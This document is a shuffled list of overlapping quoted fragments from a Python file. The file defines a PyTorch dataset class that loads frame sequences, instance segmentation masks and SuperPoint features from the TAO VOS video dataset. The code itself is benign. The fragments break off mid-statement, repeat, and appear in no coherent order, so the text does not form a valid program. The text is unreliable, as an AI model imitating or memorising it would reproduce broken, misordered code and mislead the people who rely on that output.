"must be positive. Got {0}.\".format(stride)) if not (end is None",
"if self.return_img: color_seq = torch.stack(color_seq, 0).float() output.append(color_seq) if self.return_seg: output.append(seg_seq)",
"None height (int): Spatial height to resize frames to. Default:",
"if unsure. If None, will set `stride = seqlen *",
"in file_names] if self.return_seg: seg_list = [os.path.join(os.path.join(segdir, video), x.replace('.jpg','.png')) for",
"to. Default: 480 width (int): Spatial width to resize frames",
":math:`(L, 3, H, W)` where `L` denotes sequence length -",
"= [\"TAO\"] class TAO(data.Dataset): r\"\"\"A torch Dataset for loading in",
"or tuple of str): Videos to use from sequences (used",
"end (int): Index of the frame at which to stop",
"__init__( self, basedir: str, videos: Union[tuple, str, None], seqlen: int",
"tuple of scene names. seqlen (int): Number of frames to",
"({0}) must be None or greater than start ({1})\".format(end, start)",
"was of type %r instead\" raise TypeError(msg % type(videos)) self.RGB_data",
"self.RGB_data = [] self.Seg_data = [] self.Points_data = [] self.Videonames_data",
"(torch.Tensor): Sequence of grayscale rgb images of each frame seg_seq",
"= obj_ids[~np.isin(obj_ids, [0])] frame_ann = [] for obj_id in obj_ids:",
"\"dilation must be int or None. Got {0}.\".format(type(dilation)) ) dilation",
"(bool): Determines whether to return instance segmentation labels. Default: True",
"= [] self.Seg_data = [] self.Points_data = [] self.Videonames_data =",
"Default: False return_videonames (bool): Determines whether to return videonames for",
"consecutive frames in the extracted sequence. See above example if",
"Got {0}.\".format(type(end))) start = start if start is not None",
"ValueError( \"end ({0}) must be None or greater than start",
"idx self.RGB_data.append([rgb_list[ind] for ind in inds]) if self.return_seg: self.Seg_data.append([seg_list[ind] for",
"the data from the sequence at index idx. Returns: color_seq",
"the length of the dataset. \"\"\" return self.num_sequences def __getitem__(self,",
"color_seq (torch.Tensor): Sequence of grayscale rgb images of each frame",
"positive. Got {0}.\".format(stride)) if not (end is None or end",
"not (isinstance(start, int) or start is None): raise TypeError(\"start must",
"the color info. if self.return_img: color_seq_path = self.RGB_data[idx] if self.return_seg:",
"obj_ids = np.unique(instance_img) obj_ids = obj_ids[~np.isin(obj_ids, [0])] frame_ann = []",
"[0])] frame_ann = [] for obj_id in obj_ids: ann =",
"False, return_videonames: bool = False, ): super(TAO, self).__init__() self.basedir =",
"= return_seg self.return_points = return_points self.return_videonames = return_videonames if not",
"raise ValueError(\"stride must be positive. Got {0}.\".format(stride)) if not (isinstance(start,",
"not isinstance(seqlen, int): raise TypeError(\"seqlen must be int. Got {0}.\".format(type(seqlen)))",
"Got {0}.\".format(type(dilation)) ) dilation = dilation if dilation is not",
"basedir: str, videos: Union[tuple, str, None], seqlen: int = 4,",
"start is None): raise TypeError(\"start must be int or None.",
"the sequences. Default: False \"\"\" def __init__( self, basedir: str,",
"(int or None): Index of the frame from which to",
"fetch sequences of rgb images, instance segmentation labels, SuperPoint features",
"be path to a `.txt` file where each line is",
"or end is None): raise TypeError(\"end must be int or",
"with length `L` \"\"\" # Read in the color info.",
"video), x.replace('.jpg','.png')) for x in file_names] video_len = len(rgb_list) for",
"obj_id).astype(int) ann['ann_mask'] = ann_mask frame_ann.append(ann) seg_seq.append(frame_ann) if self.return_points: with open(points_seq_path[i],'rb')",
"cv2.imread(color_seq_path[i]) image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) image = torch.from_numpy(image).type(torch.float16) image =",
"a tuple of scene names. seqlen (int): Number of frames",
"if start < 0: raise ValueError(\"start must be positive. Got",
"of grayscale rgb images of each frame seg_seq (torch.Tensor): Sequence",
"of the frame from which to start extracting sequences for",
"import numpy as np import PIL.Image as Image import pickle",
"+ idx[-1] >= video_len: break inds = start_index + idx",
"W)` where `L` denotes sequence length - seg_seq: : \"math:",
"os from typing import Optional, Union import cv2 import numpy",
"color_seq = torch.stack(color_seq, 0).float() output.append(color_seq) if self.return_seg: output.append(seg_seq) if self.return_points:",
"= os.path.join(self.basedir, 'points/') segdir = os.path.join(self.basedir, 'Annotations/') for video in",
"sequence. See above example if unsure. If None, will set",
"or stride is None): raise TypeError(\"stride must be int or",
"color_seq_path = self.RGB_data[idx] if self.return_seg: seg_seq_path = self.Seg_data[idx] if self.return_points:",
"the first frame. Default: None end (int): Index of the",
"if self.return_seg: output.append(seg_seq) if self.return_points: output.append(points_seq) if self.return_videonames: output.append(self.Videonames_data[idx]) return",
"be None or greater than start ({1})\".format(end, start) ) #",
"to resize frames to. Default: 640 return_seg (bool): Determines whether",
"frame9 frame10 frame11 ... | | | | └───────────────┵───────────────┵────────────────┚ sequence1",
"or None): Number of (original video's) frames to skip between",
"isinstance(seqlen, int): raise TypeError(\"seqlen must be int. Got {0}.\".format(type(seqlen))) if",
"whether to return SuperPoint Features. Default: False return_videonames (bool): Determines",
"super(TAO, self).__init__() self.basedir = os.path.normpath(basedir) if not os.path.isdir(self.basedir): raise ValueError(\"Base",
"str): Videos to use from sequences (used for creating train/val/test",
"= image.permute(2,0,1) image /= 255 color_seq.append(image) if self.return_seg: instance_img =",
"str, videos: Union[tuple, str, None], seqlen: int = 4, dilation:",
"frame0 frame1 frame2 frame3 frame4 frame5 frame6 frame7 frame8 frame9",
"Dataset for loading in `the TAO VOS dataset <https://www.vision.rwth-aachen.de/page/taovos/>`_. Will",
"raise ValueError(\"seqlen must be positive. Got {0}.\".format(seqlen)) if dilation <",
"extracted sequence. See above example if unsure. If None, will",
"= \"videos should either be path to split.txt or tuple",
"| | | | frame0 frame1 frame2 frame3 frame4 frame5",
"Default: 480 width (int): Spatial width to resize frames to.",
"points_seq (torch.Tensor): Sequence of SuperPoint Features videoname (str): Videoname of",
"info. if self.return_img: color_seq_path = self.RGB_data[idx] if self.return_seg: seg_seq_path =",
"np.isin(instance_img, obj_id).astype(int) ann['ann_mask'] = ann_mask frame_ann.append(ann) seg_seq.append(frame_ann) if self.return_points: with",
"width to resize frames to. Default: 640 return_seg (bool): Determines",
"not (isinstance(stride, int) or stride is None): raise TypeError(\"stride must",
"above example if unsure. If None, will set `stride =",
"the frame from which to start extracting sequences for every",
"os.path.isfile(videos): with open(videos, \"r\") as f: videos = tuple(f.read().split(\"\\n\")) else:",
"start extracting sequences for every video. If None, will start",
"{0}.'.format(dilation)) if stride < 0: raise ValueError(\"stride must be positive.",
"{0}.\".format(type(stride))) if not (isinstance(dilation, int) or dilation is None): raise",
"index idx. Returns: color_seq (torch.Tensor): Sequence of grayscale rgb images",
"= np.array(Image.open(seg_seq_path[i])) obj_ids = np.unique(instance_img) obj_ids = obj_ids[~np.isin(obj_ids, [0])] frame_ann",
"\"\"\" # Read in the color info. if self.return_img: color_seq_path",
"color_seq.append(image) if self.return_seg: instance_img = np.array(Image.open(seg_seq_path[i])) obj_ids = np.unique(instance_img) obj_ids",
"numpy as np import PIL.Image as Image import pickle import",
"TypeError( \"dilation must be int or None. Got {0}.\".format(type(dilation)) )",
"= np.arange(self.seqlen) * (self.dilation + 1) rgbdir = os.path.join(self.basedir, 'JPEGImages/')",
"__future__ import print_function import sys sys.path.append('.') import os from typing",
"If None, will start from the first frame. Default: None",
".. code-block:: sequence0 ┎───────────────┲───────────────┲───────────────┒ | | | | frame0 frame1",
"of the frame at which to stop extracting sequences for",
"Videos to use from sequences (used for creating train/val/test splits).",
"else 0 stride = stride if stride is not None",
"or None. Got {0}.\".format(type(stride))) if not (isinstance(dilation, int) or dilation",
"file_names] video_len = len(rgb_list) for start_index in range(self.start, video_len, self.stride):",
"raise ValueError(\"start must be positive. Got {0}.\".format(stride)) if not (end",
"rgb_list = [os.path.join(os.path.join(rgbdir, video), x) for x in file_names] if",
"sequences. See above example if unsure. If None, will set",
"from frames with `seqlen=4`, `dilation=1`, `stride=3`, and `start=2`: .. code-block::",
"frame5 frame6 frame7 frame8 frame9 frame10 frame11 ... | |",
"(int or None): Number of (original video's) frames to skip",
"height: int = 480, width: int = 640, *, return_img:",
"os.path.join(self.basedir, 'JPEGImages/') pointsdir = os.path.join(self.basedir, 'points/') segdir = os.path.join(self.basedir, 'Annotations/')",
"video), x) for x in file_names] if self.return_points: points_list =",
"or start is None): raise TypeError(\"start must be int or",
"frame7 frame8 frame9 frame10 frame11 ... | | | |",
"of frames. Default: 4 dilation (int or None): Number of",
"set `dilation = 0`. Default: None stride (int or None):",
"not (end is None or end > start): raise ValueError(",
"= tuple(f.read().split(\"\\n\")) else: raise ValueError(\"incorrect filename: {} doesn't exist\".format(videos)) elif",
"import PIL.Image as Image import pickle import torch from torch.utils",
"names. seqlen (int): Number of frames to use for each",
"for x in file_names] if self.return_seg: seg_list = [os.path.join(os.path.join(segdir, video),",
"in obj_ids: ann = {} ann['obj_id'] = obj_id ann_mask =",
"int. Got {0}.\".format(type(seqlen))) if not (isinstance(stride, int) or stride is",
"must be int. Got {0}.\".format(type(seqlen))) if not (isinstance(stride, int) or",
"Number of frames to use for each sequence of frames.",
"instance segmentation labels. Default: True return_points (bool): Determines whether to",
"frames to. Default: 640 return_seg (bool): Determines whether to return",
"data __all__ = [\"TAO\"] class TAO(data.Dataset): r\"\"\"A torch Dataset for",
"image = torch.from_numpy(image).type(torch.float16) image = image.permute(2,0,1) image /= 255 color_seq.append(image)",
"sequences for every video. If None, will start from the",
"TAO. videos (str or tuple of str): Videos to use",
"= False, return_videonames: bool = False, ): super(TAO, self).__init__() self.basedir",
"video_len: break inds = start_index + idx self.RGB_data.append([rgb_list[ind] for ind",
"positive. Got {0}.\".format(seqlen)) if dilation < 0: raise ValueError('\"dilation\" must",
"basedir (str): Path to the base directory containing the directories",
"videos, but was of type %r instead\" raise TypeError(msg %",
"* (dilation + 1) self.seqlen = seqlen self.stride = stride",
"not None else seqlen * (dilation + 1) self.seqlen =",
"of (original video's) frames to skip between two consecutive frames",
"train/val/test splits). Can be path to a `.txt` file where",
"to skip between two consecutive frames in the extracted sequence.",
"extracting frames until the end of the video. Default: None",
"must be int or None. Got {0}.\".format(type(end))) start = start",
"Directory: {} doesn't exist\".format(basedir)) self.height = height self.width = width",
"if not (end is None or end > start): raise",
"(int): Spatial height to resize frames to. Default: 480 width",
"self.return_seg: output.append(seg_seq) if self.return_points: output.append(points_seq) if self.return_videonames: output.append(self.Videonames_data[idx]) return tuple(output)",
"instance segmentations with length `L` - points_seq: \"math: List of",
"self.height = height self.width = width self.return_img = return_img self.return_seg",
"VOS dataset <https://www.vision.rwth-aachen.de/page/taovos/>`_. Will fetch sequences of rgb images, instance",
"frame10 frame11 ... | | | | └───────────────┵───────────────┵────────────────┚ sequence1 Args:",
"obj_ids: ann = {} ann['obj_id'] = obj_id ann_mask = np.isin(instance_img,",
"consecutive extracted sequences. See above example if unsure. If None,",
"torch.from_numpy(image).type(torch.float16) image = image.permute(2,0,1) image /= 255 color_seq.append(image) if self.return_seg:",
"the directories from TAO. videos (str or tuple of str):",
"os.path.normpath(basedir) if not os.path.isdir(self.basedir): raise ValueError(\"Base Directory: {} doesn't exist\".format(basedir))",
"the end of the video. Default: None height (int): Spatial",
"ann = {} ann['obj_id'] = obj_id ann_mask = np.isin(instance_img, obj_id).astype(int)",
"not None else 0 self.start = start self.end = end",
"torch from torch.utils import data __all__ = [\"TAO\"] class TAO(data.Dataset):",
"video), x.replace('.jpg','.pkl')) for x in file_names] if self.return_seg: seg_list =",
"TypeError(msg % type(videos)) self.RGB_data = [] self.Seg_data = [] self.Points_data",
"| | | frame0 frame1 frame2 frame3 frame4 frame5 frame6",
"255 color_seq.append(image) if self.return_seg: instance_img = np.array(Image.open(seg_seq_path[i])) obj_ids = np.unique(instance_img)",
"start is not None else 0 self.start = start self.end",
"is a Video Seqeunce name, a tuple of scene names.",
"Seqeunce name, a tuple of scene names. seqlen (int): Number",
"from sequences (used for creating train/val/test splits). Can be path",
"None stride (int or None): Number of frames between the",
"Optional[int] = None, stride: Optional[int] = None, start: Optional[int] =",
"is None): raise TypeError( \"dilation must be int or None.",
"self.return_img: image = cv2.imread(color_seq_path[i]) image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) image =",
"| | frame0 frame1 frame2 frame3 frame4 frame5 frame6 frame7",
"640, *, return_img: bool = True, return_seg: bool = True,",
"in range(self.seqlen): if self.return_img: image = cv2.imread(color_seq_path[i]) image = cv2.cvtColor(image,",
"video. Default: None height (int): Spatial height to resize frames",
"| frame0 frame1 frame2 frame3 frame4 frame5 frame6 frame7 frame8",
"0: raise ValueError(\"stride must be positive. Got {0}.\".format(stride)) if not",
"'JPEGImages/') pointsdir = os.path.join(self.basedir, 'points/') segdir = os.path.join(self.basedir, 'Annotations/') for",
"videos = tuple(f.read().split(\"\\n\")) else: raise ValueError(\"incorrect filename: {} doesn't exist\".format(videos))",
"self.start = start self.end = end if start < 0:",
"either be path to split.txt or tuple of videos, but",
"Union import cv2 import numpy as np import PIL.Image as",
"frames between the first frames of two consecutive extracted sequences.",
"must be None or greater than start ({1})\".format(end, start) )",
"the dataset. \"\"\" return self.num_sequences def __getitem__(self, idx: int): r\"\"\"Returns",
"seg_seq.append(frame_ann) if self.return_points: with open(points_seq_path[i],'rb') as fp: points = pickle.load(fp)",
"0 self.start = start self.end = end if start <",
"Default: None start (int or None): Index of the frame",
"int) or stride is None): raise TypeError(\"stride must be int",
"videos should be a tuple if isinstance(videos, str): if os.path.isfile(videos):",
"= start_index + idx self.RGB_data.append([rgb_list[ind] for ind in inds]) if",
"(dilation + 1) self.seqlen = seqlen self.stride = stride self.dilation",
"import print_function import sys sys.path.append('.') import os from typing import",
"segmentation labels, SuperPoint features (optional). Example of sequence creation from",
"print_function import sys sys.path.append('.') import os from typing import Optional,",
"= os.path.normpath(basedir) if not os.path.isdir(self.basedir): raise ValueError(\"Base Directory: {} doesn't",
"Number of frames between the first frames of two consecutive",
"{0}.\".format(stride)) if not (end is None or end > start):",
"| └───────────────┵───────────────┵────────────────┚ sequence1 Args: basedir (str): Path to the base",
"every video. If None, will start from the first frame.",
"should either be path to split.txt or tuple of videos,",
"tuple of videos, but was of type %r instead\" raise",
"{0}.\".format(stride)) if not (isinstance(start, int) or start is None): raise",
"videoname (str): Videoname of Sequence Shape: - color_seq: :math:`(L, 3,",
"where `L` denotes sequence length - seg_seq: : \"math: List",
"width (int): Spatial width to resize frames to. Default: 640",
"video))) if f.endswith('.jpg')] rgb_list = [os.path.join(os.path.join(rgbdir, video), x) for x",
"i in range(self.seqlen): if self.return_img: image = cv2.imread(color_seq_path[i]) image =",
"{} doesn't exist\".format(videos)) elif not (isinstance(videos, tuple)): msg = \"videos",
"sequence0 ┎───────────────┲───────────────┲───────────────┒ | | | | frame0 frame1 frame2 frame3",
"isinstance(videos, str): if os.path.isfile(videos): with open(videos, \"r\") as f: videos",
"of sequence creation from frames with `seqlen=4`, `dilation=1`, `stride=3`, and",
"to. Default: 640 return_seg (bool): Determines whether to return instance",
"is not None else 0 stride = stride if stride",
"for ind in inds]) if self.return_videonames: self.Videonames_data.append(video) self.num_sequences = len(self.RGB_data)",
"where each line is a Video Seqeunce name, a tuple",
"{0}.\".format(type(dilation)) ) dilation = dilation if dilation is not None",
"a tuple if isinstance(videos, str): if os.path.isfile(videos): with open(videos, \"r\")",
"int or None. Got {0}.\".format(type(dilation)) ) dilation = dilation if",
"self.return_points: with open(points_seq_path[i],'rb') as fp: points = pickle.load(fp) points_seq.append(points) output",
"at index idx. Returns: color_seq (torch.Tensor): Sequence of grayscale rgb",
"(str or tuple of str): Videos to use from sequences",
"= None, height: int = 480, width: int = 640,",
"sequences. Default: False \"\"\" def __init__( self, basedir: str, videos:",
"start_index + idx[-1] >= video_len: break inds = start_index +",
"True, return_seg: bool = True, return_points: bool = False, return_videonames:",
"images of each frame seg_seq (torch.Tensor): Sequence of instance segmentation",
"None, will set `dilation = 0`. Default: None stride (int",
"resize frames to. Default: 480 width (int): Spatial width to",
"True, return_points: bool = False, return_videonames: bool = False, ):",
"%r instead\" raise TypeError(msg % type(videos)) self.RGB_data = [] self.Seg_data",
"# videos should be a tuple if isinstance(videos, str): if",
"int = 640, *, return_img: bool = True, return_seg: bool",
"Sequence of grayscale rgb images of each frame seg_seq (torch.Tensor):",
"Optional, Union import cv2 import numpy as np import PIL.Image",
"< 0: raise ValueError(\"stride must be positive. Got {0}.\".format(stride)) if",
"segmentation labels for objects present in the frames points_seq (torch.Tensor):",
"= cv2.cvtColor(image, cv2.COLOR_BGR2RGB) image = torch.from_numpy(image).type(torch.float16) image = image.permute(2,0,1) image",
"= os.path.join(self.basedir, 'JPEGImages/') pointsdir = os.path.join(self.basedir, 'points/') segdir = os.path.join(self.basedir,",
"+ 1) rgbdir = os.path.join(self.basedir, 'JPEGImages/') pointsdir = os.path.join(self.basedir, 'points/')",
"Determines whether to return SuperPoint Features. Default: False return_videonames (bool):",
"objects present in the frames points_seq (torch.Tensor): Sequence of SuperPoint",
"(isinstance(videos, tuple)): msg = \"videos should either be path to",
"Videoname of Sequence Shape: - color_seq: :math:`(L, 3, H, W)`",
"seg_seq, points_seq = [], [], [] for i in range(self.seqlen):",
"be positive. Got {0}.\".format(seqlen)) if dilation < 0: raise ValueError('\"dilation\"",
"frames of two consecutive extracted sequences. See above example if",
"{0}.\".format(seqlen)) if dilation < 0: raise ValueError('\"dilation\" must be positive.",
"TypeError(\"start must be int or None. Got {0}.\".format(type(start))) if not",
"raise ValueError(\"incorrect filename: {} doesn't exist\".format(videos)) elif not (isinstance(videos, tuple)):",
"with `seqlen=4`, `dilation=1`, `stride=3`, and `start=2`: .. code-block:: sequence0 ┎───────────────┲───────────────┲───────────────┒",
"= start self.end = end if start < 0: raise",
"filename: {} doesn't exist\".format(videos)) elif not (isinstance(videos, tuple)): msg =",
"grayscale rgb images of each frame seg_seq (torch.Tensor): Sequence of",
": \"math: List of per frame instance segmentations with length",
"of the dataset. \"\"\" return self.num_sequences def __getitem__(self, idx: int):",
"np.array(Image.open(seg_seq_path[i])) obj_ids = np.unique(instance_img) obj_ids = obj_ids[~np.isin(obj_ids, [0])] frame_ann =",
"sequence creation from frames with `seqlen=4`, `dilation=1`, `stride=3`, and `start=2`:",
"is None): raise TypeError(\"stride must be int or None. Got",
"= [] for obj_id in obj_ids: ann = {} ann['obj_id']",
"stop extracting sequences for every video. If None, will continue",
"of instance segmentation labels for objects present in the frames",
"and `start=2`: .. code-block:: sequence0 ┎───────────────┲───────────────┲───────────────┒ | | | |",
"[] if self.return_img: color_seq = torch.stack(color_seq, 0).float() output.append(color_seq) if self.return_seg:",
"videos: Union[tuple, str, None], seqlen: int = 4, dilation: Optional[int]",
"raise TypeError(\"start must be int or None. Got {0}.\".format(type(start))) if",
"Sequence of SuperPoint Features videoname (str): Videoname of Sequence Shape:",
"file_names = [f for f in sorted(os.listdir(os.path.join(rgbdir, video))) if f.endswith('.jpg')]",
"def __len__(self): r\"\"\"Returns the length of the dataset. \"\"\" return",
"Shape: - color_seq: :math:`(L, 3, H, W)` where `L` denotes",
"from __future__ import print_function import sys sys.path.append('.') import os from",
"({1})\".format(end, start) ) # videos should be a tuple if",
"self.return_seg: seg_seq_path = self.Seg_data[idx] if self.return_points: points_seq_path = self.Points_data[idx] color_seq,",
"from the first frame. Default: None end (int): Index of",
"dilation = dilation if dilation is not None else 0",
"be int or None. Got {0}.\".format(type(stride))) if not (isinstance(dilation, int)",
"segmentations with length `L` - points_seq: \"math: List of SuperPoint",
"None else seqlen * (dilation + 1) self.seqlen = seqlen",
"'points/') segdir = os.path.join(self.basedir, 'Annotations/') for video in videos: file_names",
"= np.isin(instance_img, obj_id).astype(int) ann['ann_mask'] = ann_mask frame_ann.append(ann) seg_seq.append(frame_ann) if self.return_points:",
"<reponame>Nik-V9/AirObject from __future__ import print_function import sys sys.path.append('.') import os",
"Default: 4 dilation (int or None): Number of (original video's)",
"from TAO. videos (str or tuple of str): Videos to",
"dilation (int or None): Number of (original video's) frames to",
"image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) image = torch.from_numpy(image).type(torch.float16) image = image.permute(2,0,1)",
"ann['obj_id'] = obj_id ann_mask = np.isin(instance_img, obj_id).astype(int) ann['ann_mask'] = ann_mask",
"if not (isinstance(end, int) or end is None): raise TypeError(\"end",
"= dilation if seqlen < 0: raise ValueError(\"seqlen must be",
"ValueError(\"seqlen must be positive. Got {0}.\".format(seqlen)) if dilation < 0:",
"if dilation is not None else 0 stride = stride",
"to start extracting sequences for every video. If None, will",
"if self.return_videonames: self.Videonames_data.append(video) self.num_sequences = len(self.RGB_data) def __len__(self): r\"\"\"Returns the",
"split.txt or tuple of videos, but was of type %r",
"= [], [], [] for i in range(self.seqlen): if self.return_img:",
"\"\"\" def __init__( self, basedir: str, videos: Union[tuple, str, None],",
"be int or None. Got {0}.\".format(type(start))) if not (isinstance(end, int)",
"`dilation=1`, `stride=3`, and `start=2`: .. code-block:: sequence0 ┎───────────────┲───────────────┲───────────────┒ | |",
"raise TypeError(\"end must be int or None. Got {0}.\".format(type(end))) start",
"= [] self.Videonames_data = [] idx = np.arange(self.seqlen) * (self.dilation",
"int or None. Got {0}.\".format(type(end))) start = start if start",
"TypeError(\"end must be int or None. Got {0}.\".format(type(end))) start =",
"import pickle import torch from torch.utils import data __all__ =",
"stride: Optional[int] = None, start: Optional[int] = None, end: Optional[int]",
"int) or dilation is None): raise TypeError( \"dilation must be",
"= None, start: Optional[int] = None, end: Optional[int] = None,",
"stride is not None else seqlen * (dilation + 1)",
"is not None else 0 self.start = start self.end =",
"False return_videonames (bool): Determines whether to return videonames for the",
"x in file_names] if self.return_seg: seg_list = [os.path.join(os.path.join(segdir, video), x.replace('.jpg','.png'))",
"for every video. If None, will continue extracting frames until",
"the base directory containing the directories from TAO. videos (str",
"not None else 0 stride = stride if stride is",
"rgb images, instance segmentation labels, SuperPoint features (optional). Example of",
"or None. Got {0}.\".format(type(end))) start = start if start is",
"[os.path.join(os.path.join(segdir, video), x.replace('.jpg','.png')) for x in file_names] video_len = len(rgb_list)",
"import data __all__ = [\"TAO\"] class TAO(data.Dataset): r\"\"\"A torch Dataset",
"break inds = start_index + idx self.RGB_data.append([rgb_list[ind] for ind in",
"def __getitem__(self, idx: int): r\"\"\"Returns the data from the sequence",
"must be positive. Got {0}.'.format(dilation)) if stride < 0: raise",
"self.return_points: self.Points_data.append([points_list[ind] for ind in inds]) if self.return_videonames: self.Videonames_data.append(video) self.num_sequences",
"base directory containing the directories from TAO. videos (str or",
"- points_seq: \"math: List of SuperPoint Features with length `L`",
"= {} ann['obj_id'] = obj_id ann_mask = np.isin(instance_img, obj_id).astype(int) ann['ann_mask']",
"class TAO(data.Dataset): r\"\"\"A torch Dataset for loading in `the TAO",
"end > start): raise ValueError( \"end ({0}) must be None",
"= [] self.Points_data = [] self.Videonames_data = [] idx =",
"return_seg self.return_points = return_points self.return_videonames = return_videonames if not isinstance(seqlen,",
"dilation if dilation is not None else 0 stride =",
"in sorted(os.listdir(os.path.join(rgbdir, video))) if f.endswith('.jpg')] rgb_list = [os.path.join(os.path.join(rgbdir, video), x)",
"Optional[int] = None, end: Optional[int] = None, height: int =",
"start) ) # videos should be a tuple if isinstance(videos,",
"self.RGB_data.append([rgb_list[ind] for ind in inds]) if self.return_seg: self.Seg_data.append([seg_list[ind] for ind",
"from torch.utils import data __all__ = [\"TAO\"] class TAO(data.Dataset): r\"\"\"A",
"unsure. If None, will set `dilation = 0`. Default: None",
"0: raise ValueError('\"dilation\" must be positive. Got {0}.'.format(dilation)) if stride",
"else seqlen * (dilation + 1) self.seqlen = seqlen self.stride",
"creation from frames with `seqlen=4`, `dilation=1`, `stride=3`, and `start=2`: ..",
"pickle.load(fp) points_seq.append(points) output = [] if self.return_img: color_seq = torch.stack(color_seq,",
"sequence1 Args: basedir (str): Path to the base directory containing",
"tuple of str): Videos to use from sequences (used for",
"seg_seq (torch.Tensor): Sequence of instance segmentation labels for objects present",
"start from the first frame. Default: None end (int): Index",
"tuple)): msg = \"videos should either be path to split.txt",
"open(points_seq_path[i],'rb') as fp: points = pickle.load(fp) points_seq.append(points) output = []",
"use for each sequence of frames. Default: 4 dilation (int",
"... | | | | └───────────────┵───────────────┵────────────────┚ sequence1 Args: basedir (str):",
"if self.return_img: image = cv2.imread(color_seq_path[i]) image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) image",
"f.endswith('.jpg')] rgb_list = [os.path.join(os.path.join(rgbdir, video), x) for x in file_names]",
"color_seq, seg_seq, points_seq = [], [], [] for i in",
"return_videonames if not isinstance(seqlen, int): raise TypeError(\"seqlen must be int.",
"(isinstance(dilation, int) or dilation is None): raise TypeError( \"dilation must",
"pickle import torch from torch.utils import data __all__ = [\"TAO\"]",
"frame from which to start extracting sequences for every video.",
"False, ): super(TAO, self).__init__() self.basedir = os.path.normpath(basedir) if not os.path.isdir(self.basedir):",
"SuperPoint Features. Default: False return_videonames (bool): Determines whether to return",
"False \"\"\" def __init__( self, basedir: str, videos: Union[tuple, str,",
"frames with `seqlen=4`, `dilation=1`, `stride=3`, and `start=2`: .. code-block:: sequence0",
"exist\".format(basedir)) self.height = height self.width = width self.return_img = return_img",
"type(videos)) self.RGB_data = [] self.Seg_data = [] self.Points_data = []",
"[], [], [] for i in range(self.seqlen): if self.return_img: image",
"seqlen self.stride = stride self.dilation = dilation if seqlen <",
"range(self.seqlen): if self.return_img: image = cv2.imread(color_seq_path[i]) image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)",
"cv2.cvtColor(image, cv2.COLOR_BGR2RGB) image = torch.from_numpy(image).type(torch.float16) image = image.permute(2,0,1) image /=",
"output.append(color_seq) if self.return_seg: output.append(seg_seq) if self.return_points: output.append(points_seq) if self.return_videonames: output.append(self.Videonames_data[idx])",
"idx[-1] >= video_len: break inds = start_index + idx self.RGB_data.append([rgb_list[ind]",
"Will fetch sequences of rgb images, instance segmentation labels, SuperPoint",
"Features with length `L` \"\"\" # Read in the color",
"= [os.path.join(os.path.join(pointsdir, video), x.replace('.jpg','.pkl')) for x in file_names] if self.return_seg:",
"[] self.Seg_data = [] self.Points_data = [] self.Videonames_data = []",
"ind in inds]) if self.return_videonames: self.Videonames_data.append(video) self.num_sequences = len(self.RGB_data) def",
"frame6 frame7 frame8 frame9 frame10 frame11 ... | | |",
"if f.endswith('.jpg')] rgb_list = [os.path.join(os.path.join(rgbdir, video), x) for x in",
"if stride is not None else seqlen * (dilation +",
"= np.unique(instance_img) obj_ids = obj_ids[~np.isin(obj_ids, [0])] frame_ann = [] for",
"[] for obj_id in obj_ids: ann = {} ann['obj_id'] =",
"= None, end: Optional[int] = None, height: int = 480,",
"sys.path.append('.') import os from typing import Optional, Union import cv2",
"= cv2.imread(color_seq_path[i]) image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) image = torch.from_numpy(image).type(torch.float16) image",
"Spatial height to resize frames to. Default: 480 width (int):",
"frames until the end of the video. Default: None height",
"will set `dilation = 0`. Default: None stride (int or",
"not os.path.isdir(self.basedir): raise ValueError(\"Base Directory: {} doesn't exist\".format(basedir)) self.height =",
"self.return_img: color_seq_path = self.RGB_data[idx] if self.return_seg: seg_seq_path = self.Seg_data[idx] if",
"TAO(data.Dataset): r\"\"\"A torch Dataset for loading in `the TAO VOS",
"between two consecutive frames in the extracted sequence. See above",
"or None): Index of the frame from which to start",
"bool = False, ): super(TAO, self).__init__() self.basedir = os.path.normpath(basedir) if",
"int): r\"\"\"Returns the data from the sequence at index idx.",
"= height self.width = width self.return_img = return_img self.return_seg =",
"sequence of frames. Default: 4 dilation (int or None): Number",
"= 480, width: int = 640, *, return_img: bool =",
"if stride < 0: raise ValueError(\"stride must be positive. Got",
"for x in file_names] video_len = len(rgb_list) for start_index in",
"inds]) if self.return_seg: self.Seg_data.append([seg_list[ind] for ind in inds]) if self.return_points:",
"(bool): Determines whether to return videonames for the sequences. Default:",
"self).__init__() self.basedir = os.path.normpath(basedir) if not os.path.isdir(self.basedir): raise ValueError(\"Base Directory:",
"whether to return videonames for the sequences. Default: False \"\"\"",
"width self.return_img = return_img self.return_seg = return_seg self.return_points = return_points",
"(self.dilation + 1) rgbdir = os.path.join(self.basedir, 'JPEGImages/') pointsdir = os.path.join(self.basedir,",
"segdir = os.path.join(self.basedir, 'Annotations/') for video in videos: file_names =",
"of each frame seg_seq (torch.Tensor): Sequence of instance segmentation labels",
"Sequence Shape: - color_seq: :math:`(L, 3, H, W)` where `L`",
"of per frame instance segmentations with length `L` - points_seq:",
"points_seq_path = self.Points_data[idx] color_seq, seg_seq, points_seq = [], [], []",
"start_index + idx self.RGB_data.append([rgb_list[ind] for ind in inds]) if self.return_seg:",
"cv2.COLOR_BGR2RGB) image = torch.from_numpy(image).type(torch.float16) image = image.permute(2,0,1) image /= 255",
"in the extracted sequence. See above example if unsure. If",
"if unsure. If None, will set `dilation = 0`. Default:",
"sequences of rgb images, instance segmentation labels, SuperPoint features (optional).",
"to return SuperPoint Features. Default: False return_videonames (bool): Determines whether",
"name, a tuple of scene names. seqlen (int): Number of",
"def __init__( self, basedir: str, videos: Union[tuple, str, None], seqlen:",
"x.replace('.jpg','.pkl')) for x in file_names] if self.return_seg: seg_list = [os.path.join(os.path.join(segdir,",
"in inds]) if self.return_points: self.Points_data.append([points_list[ind] for ind in inds]) if",
"List of per frame instance segmentations with length `L` -",
"frame_ann.append(ann) seg_seq.append(frame_ann) if self.return_points: with open(points_seq_path[i],'rb') as fp: points =",
"to the base directory containing the directories from TAO. videos",
"TypeError(\"seqlen must be int. Got {0}.\".format(type(seqlen))) if not (isinstance(stride, int)",
"= seqlen * (dilation + 1)` (non-overlapping sequences). Default: None",
"positive. Got {0}.'.format(dilation)) if stride < 0: raise ValueError(\"stride must",
"seg_seq_path = self.Seg_data[idx] if self.return_points: points_seq_path = self.Points_data[idx] color_seq, seg_seq,",
"for obj_id in obj_ids: ann = {} ann['obj_id'] = obj_id",
